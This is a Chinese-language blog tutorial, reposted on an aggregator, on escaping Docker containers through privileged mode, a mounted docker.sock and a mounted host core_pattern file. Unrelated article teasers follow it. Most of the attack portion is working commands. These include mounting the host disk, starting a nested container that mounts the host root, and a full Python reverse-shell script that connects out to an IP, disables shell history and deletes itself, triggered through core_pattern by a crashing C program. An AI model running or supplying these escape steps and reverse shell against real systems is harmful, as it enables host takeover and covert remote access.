前言

之前分享的是云服务安全,今天开始云原生安全,安全道路依旧很长。

什么是Docker呢,它是开源的容器化平台,用于开发、部署和运行应用程序。它通过将应用程序及其依赖项打包在轻量级的容器中,实现环境一致性、快速部署和资源高效利用这玩意类似虚拟机,是一个虚拟化技术。我们在VM中使用的虚拟机其实基于物理硬件开辟的,而容器是基于我们操作系统内核来开辟的。这样就表面了容器要比虚拟机更加轻量,对CPU和内存等条件要求更低。

就好比如我自己的电脑开4台以上虚拟机就卡死了,容器随便开都行,而且容器无论是部署还是操作都很方便,我们本地按照mysql啥的,又要配置东西,又要按照环境,而容器只需拉取镜像就行。

Docker安全

来到官网我们可以看到有非常多的容器镜像,有一些是官方发布的,也有一些是用户自己打包上传的。这就引出了一个安全问题,有一些人会在容器里面留下后门,当时运行的容器的时候,后门也会被运行,这是早期容器刚出来的现象。假如我们好不容易拿到的shell,却发现是在容器里面,那该咋办,今天讲两种方法实现容器逃逸。

特权模式

当我们运行一个容器时,如果它权限过大的话,那么就可以进行逃逸,我们以特权模式启动 alpine 容器。

docker run --rm --privileged=true -it alpine

这里要顺便说一下,如何判断自己是否在容器中,常用的有三种。

查询cgroup信息,不知为啥我这里啥也没有。

cat /proc/1/cgroup

检查/.dockerenv文件,通过判断根目录下的 .dockerenv文件是否存在,可以简单的识别docker环境。

ls -alh /.dockerenv 

还有一个是检查mount信息,利用mount查看挂载磁盘是否存在docker相关信息。

mount

更多判断方法可以看这篇文章。

如何快速判断是否在容器环境_如何确定是不是处于docker容器-CSDN博客

首先检查是否为特权模式运行的容器,如果是特权模式启动的话,CapEff 对应的掩码值应该为0000003ffffffff或者0000001fffffffff。

cat /proc/self/status | grep CapEff

先创建一个目录。

mkdir /test

​执行下面的命令​将存储设备 /dev/sda1 上的文件系统挂载到目录 /test 上,也就是说我可以通过查看test文件夹来实现对真实系统目录的访问。

mount /dev/sda1 /test

然后我们进入到test目录进行查看,发现里面内容和真实系统一样,成功实现docker逃逸。

后面再往真实的系统文件写入一个反弹shell的计时任务即可拿到shell。

危险挂载

挂载Socket

Docker Socket 用来与守护进程通信即查询信息或者下发命令,类似于网站的功能插件,如果在启动容器的时候挂载了这个功能,那么也会有容器逃逸的安全问题。原理就是,​利用容器内对宿主机的 Docker 引擎的直接控制权,创建或操作具备访问宿主机资源能力的新容器/进程,从而突破当前容器的隔离限制。​

运行容器 ubuntu 并且挂载socket,如果你没有拉去的话,会自动帮你拉去镜像。

docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu

接着进入到容器中去。

docker exec -it with_docker_sock /bin/bash

检查是否挂载了Socket。

ls -lah /var/run/docker.sock

这里我们可以试试检查特权模式,很明显不对。

容器里面执行命令,更新apt-get 和安装 curl命令。

apt-get update
apt-get install curl

接着在容器里面再安装 docker。

curl -fsSL https://get.docker.com | sh -s -- --mirror Aliyun

在容器内部创建一个新的容器,并将宿主机目录挂载到新的容器内部,类似套娃,可以看到多了一个host目录。

docker run -it -v /:/host ubuntu /bin/bash

查看host目录下的home目录内容,发现和宿主机的一样,说明成功逃逸。

挂载procfs

procfs是一个伪文件系统,它动态反映着系统内进程及其他组件的状态,其中有许多十分敏感重要的文件。核心原理是:当容器内挂载了宿主机的 proc 文件系统(/proc)时,攻击者可以通过写入 /proc/sys/kernel/core_pattern 等敏感路径,触发宿主机执行任意命令。

创建一个容器并挂载 /proc 目录。

docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu

进行检查一下,如果找到两个 core_pattern 文件,那可能就是挂载了宿主机的 procfs。

find / -name core_pattern

找到当前容器在宿主机下的绝对路径,这里我的绝对路径是workdir=/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged,不要后面的work,不然会出错。

cat /proc/mounts | xargs -d ',' -n 1 | grep workdir

这里要在容器里面安装一下 vim 和 gcc,因为后续要创建脚本和编译脚本,实战中我推荐本地编译好了上传上去,不然在实际生产环境中安装东西不太现实。

apt-get update -y && apt-get install vim gcc -y
vim /tmp/.t.py

接着创建一个反弹shell的脚本。

vim /tmp/.t.py#!/usr/bin/python3
import  os
import pty
import socket
lhost = "172.16.214.1"
lport = 4444
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")# os.remove('/tmp/.t.py')s.close()
if __name__ == "__main__":main()

实战中建议用cat命令写入,因为vim需要有回显的shell才行。

cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"  //反弹IP
lport = xxxx //反弹端口
def main():s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)s.connect((lhost, lport))os.dup2(s.fileno(), 0)os.dup2(s.fileno(), 1)os.dup2(s.fileno(), 2)os.putenv("HISTFILE", '/dev/null')pty.spawn("/bin/bash")os.remove('/tmp/.x.py')s.close()
if __name__ == "__main__":main()
EOF

给脚本赋予权限。

写入反弹 shell 到目标的 proc 目录下。

echo -e "|/var/lib/docker/overlay2/557850f24f799cc9505cf58d32878dc04c5fc03fdb9576a2894ba475f2dff965/merged/tmp/.t.py \rcore    " >  /host/proc/sys/kernel/core_pattern

主机上进行监听。

然后在容器里创建一个可以崩溃的程序。

vim t.c
#include<stdio.h>
int main(void)  {int *a  = NULL;*a = 1;return 0;
}

进行编译,你也可以编译好再上传。

gcc t.c -o t

最后运行程序即可反弹shell,遗憾的是我这里并没有成功,检查了端口也是没问题的,不知道为啥,有懂的师傅可以和我说一下。

总结

以上就是这次的容器逃逸手法啦。

最后,以上仅为个人的拙见,如何有不对的地方,欢迎各位师傅指正与补充,有兴趣的师傅可以一起交流学习。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如若转载,请注明出处:http://www.pswp.cn/news/912439.shtml
繁体地址,请注明出处:http://hk.pswp.cn/news/912439.shtml
英文地址,请注明出处:http://en.pswp.cn/news/912439.shtml

如若内容造成侵权/违法违规/事实不符,请联系英文站点网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

2025API 开发工具Apipost 与 Apifox深度对比

在当今数字化时代&#xff0c;API 开发是构建各类软件应用的关键环节。Apipost 和 Apifox 作为两款知名的 API 开发工具&#xff0c;它们在实际开发场景中表现究竟如何呢&#xff1f;接下来&#xff0c;让我们从多个功能点进行深入对比。 一、API 设计功能 接口定义与参数设置…

从零开始搭建Windows AI开发环境:QWQ-32B部署+Cursor插件优化实战

文章目录 前言1.安装Ollama2.QwQ-32B模型安装与运行3.Cursor安装与配置4. 简单使用测试5. 调用本地大模型6. 安装内网穿透7. 配置固定公网地址总结 前言 本方案提出了一种基于Windows系统的智能化开发平台搭建策略&#xff0c;通过融合Cursor智能编程平台、Ollama模型运行框架…

PostgreSQL 中,若需显示 不在 `IN` 子句列表中的数据

在 PostgreSQL 中&#xff0c;若需显示 不在 IN 子句列表中的数据&#xff0c;可以通过以下方法实现&#xff1a; 方法 1&#xff1a;使用 NOT IN&#xff08;注意 NULL 值&#xff09; 直接筛选不包含在 IN 列表中的记录&#xff1a; SELECT * FROM your_table WHERE your_c…

嘉讯科技:医疗信息化、数字化、智能化三者之间的关系和区别

随着技术的不断发展&#xff0c;医疗行业也在发生着巨大的变化。在这个过程中&#xff0c;医疗信息化、数字化、智能化成为三个重要方向。这些变化不仅带来了医疗技术的进步&#xff0c;而且大大提高了医疗服务的质量和效率。 一、医疗信息化 医疗信息化是指医疗行业应用信息技…

Windows VMWare Centos Docker部署Springboot应用

接上篇文章&#xff1a;Windows VMWare Centos环境下安装Docker并配置MySql-CSDN博客文章浏览阅读370次&#xff0c;点赞3次&#xff0c;收藏4次。Windows VMWare Centos环境下安装Docker并配置MySqlhttps://blog.csdn.net/u013224722/article/details/148928081 一、新建Sprin…

JavaEE-Spring事务和事务的传播机制

事务 什么是事务 事务是⼀组操作的集合, 是⼀个不可分割的操作. 事务会把所有的操作作为⼀个整体, ⼀起向数据库提交或者是撤销操作请求. 所以这组操作要么同时成功, 要么同时失败. 为什么需要事务? 事务的操作 Spring 中事务的实现 创建好数据库后就是配置数据库相关的配…

共享经济视域下社群经济的本质重构:基于开源AI智能名片链动2+1模式S2B2C商城小程序源码的实证研究

摘要&#xff1a;社群经济在互联网时代呈现爆发式增长&#xff0c;但传统社群运营存在情感维系成本高、商业转化路径长、技术赋能不足等痛点。本文以共享经济理论为框架&#xff0c;结合开源AI智能名片链动21模式S2B2C商城小程序源码的技术实践&#xff0c;提出“思想-资源-机会…

测试方法的分类

静态测试 核心分类依据&#xff1a;根据是否执行程序分为静态测试和动态测试 静态测试方法 执行特征&#xff1a;不运行被测程序&#xff0c;通过人工检查或工具分析进行测试 测试对象&#xff1a;主要针对文档&#xff08;包括需求文档、设计文档等&#xff09;和源代码 实…

查看CPU支持的指令集和特性

1&#xff09;gcc -c -Q -marchnative --helptarget 2&#xff09;结果 The following options are target specific: -m128bit-long-double [enabled] -m16 [disabled] -m32 [disabled…

【大模型应用开发】Unity结合大模型实现智能问答功能

零、最终效果 Unity结合大模型实现智能问答功能 一、文本自动换行效果 新建一个Text文本&#xff0c;设置文本的最大宽度 然后添加Content Size Fitter组件&#xff0c;Vertical Fit选择Preferred Size 二、背景随文本长度变化效果 新建一个Image作为文本的背景&#xff0…

Python爬虫-爬取汽车之家全部汽车品牌及车型数据

前言 本文是该专栏的第64篇,后面会持续分享python爬虫干货知识,记得关注。 本文,笔者将基于汽车之家平台,通过Python获取全部的“汽车品牌以及车型”数据。 废话不多说,具体实现思路和详细逻辑,笔者将在正文结合完整代码进行详细介绍。接下来,跟着笔者直接往下看正文详…

签名组件:uniapp 签名组件开发,兼容小程序、H5、App等 电子签名

描述 H5&#xff1a;1. 模拟横屏。2. 提示信息、模拟态也通过模拟横屏显示 小程序&#xff1a;1. 自动横屏展示 APP&#xff1a;1. 自动横屏展示 rn-signature 个性签名组件 组件名 rn-signature 签名组件兼容H5、APP、小程序。横屏签名效果。 效果展示 h5端 小程序端 APP 端…

第10.4篇 使用预训练的目标检测网络

在PyTorch提供的已经训练好的图像目标检测中&#xff0c;均是R-CNN系列 的网络&#xff0c;并且针对目标检测和人体关键点检测分别提供了容易调用的方 法。针对目标检测的网络&#xff0c;输入图像均要求使用相同的预处理方式&#xff0c;即先将每张图像的像素值预处理到0~1之…

基于开源链动2+1模式AI智能名片S2B2C商城小程序源码的运营机制沉淀与规范构建研究

摘要&#xff1a;在数字化商业生态中&#xff0c;运营机制的沉淀与规范构建是企业实现可持续增长的核心命题。本文以开源链动21模式、AI智能名片、S2B2C商城小程序源码为技术基座&#xff0c;提出“机制设计-数据沉淀-规范生成-迭代优化”的四阶闭环模型。通过某健康食品品牌的…

js代码05

题目 好的&#xff0c;我们进入异步编程的“终极形态”&#xff1a;async/await。 async/await 是在 ES2017 (ES8) 中引入的&#xff0c;它并不是一个全新的功能&#xff0c;而是建立在 Promise 之上的语法糖 (Syntactic Sugar)。它的目标是让我们能够以一种看似同步、更符合…

PyTorch里.pt和.pth的区别

在PyTorch中&#xff0c;.pt和.pth文件均用于保存模型&#xff0c;但两者在设计初衷、存储内容和使用场景上存在差异。以下是详细对比&#xff1a; 1. 核心区别 特性.pt文件.pth文件存储内容完整模型&#xff08;结构参数优化器状态等&#xff09;仅模型参数&#xff08;state…

windows电脑如何安装iis作为部署服务器并

1.控制面板-程序-启用或关闭windows功能-勾选iis(缩写) 2.安装好iis后在开始中搜索iis就可以看见安装好了的管理器了

解锁ChatGPT高级玩法:模块化提示词库开发指南

目录 &#x1f50d; 一、引言&#xff1a;为什么需要模块化提示词库&#xff1f;&#x1f9f1; 二、模块化提示词库设计原理2.1 核心架构2.2 模块功能说明 ⚙️ 三、模块化提示词库开发实践&#xff08;附Python源码&#xff09;3.1 环境配置3.2 模块化提示词生成器3.3 提示词组…

Spring Boot 实现不同用户不同访问权限

前提 近期在使用 Spring Boot&#xff0c;用户角色被分为管理者和普通用户&#xff1b;角色不同&#xff0c;权限也就存在不同。 在 Spring Boot 里实现不同用户拥有不同访问权限&#xff0c;可借助 Spring Security 框架达成。 实现 1. 添加必要依赖 首先要在 pom.xml 里…

华沿协作机器人:数字孪生技术赋能焊接领域智能化升级

在工业4.0与智能制造浪潮的推动下&#xff0c;焊接行业正经历从传统工艺向数字化、柔性化转型的关键阶段。作为国内协作机器人领域的创新者&#xff0c;华沿机器人通过融合数字孪生、智能感知与多轴协同技术&#xff0c;在焊接场景中实现了技术突破与应用创新。本文将从技术原理…